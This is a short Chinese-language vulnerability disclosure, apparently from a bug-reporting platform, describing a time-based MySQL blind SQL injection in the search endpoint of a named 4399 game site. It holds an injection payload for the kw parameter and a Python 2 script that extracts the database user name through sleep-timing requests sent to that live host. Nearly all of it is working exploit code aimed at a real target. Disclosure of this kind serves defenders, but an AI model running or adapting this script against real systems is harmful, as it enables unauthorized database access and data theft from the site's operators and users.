4399小游戏某站点MySQL盲注(附验证脚本)

POST http://my.4399.com/game/list
 kw=aaa'XOR(if(1,sleep(2),0))OR'bbb&tp=search

#encoding=utf-8
 import httplib
 import time
 import string
 import sys
 import random
 
 
 headers = {'Content-Type':'application/x-www-form-urlencoded'}
 
 payloads = list(string.ascii_lowercase)
 payloads += list(string.ascii_uppercase)
 for i in range(0,10):
     payloads.append(str(i))
 payloads += ['@','_', '.']
 
 print 'Start to retrive MySQL User:'
 user = ''
 for i in range(1,30,1):
     for payload in payloads:
         try:
             conn = httplib.HTTPConnection('my.4399.com', timeout=4)
             conn.request(method='POST', url='/game/list',
                          body = "kw=aaa'XOR(if(ascii(mid(user(),%s,1))=%s,sleep(4),0))OR'bbb&tp=search" % (i, ord(payload)),
                          headers=headers)
             start_time = time.time()
             conn.getresponse()
             conn.close()
         except:
             user += payload
             print '[in progress]', user
             break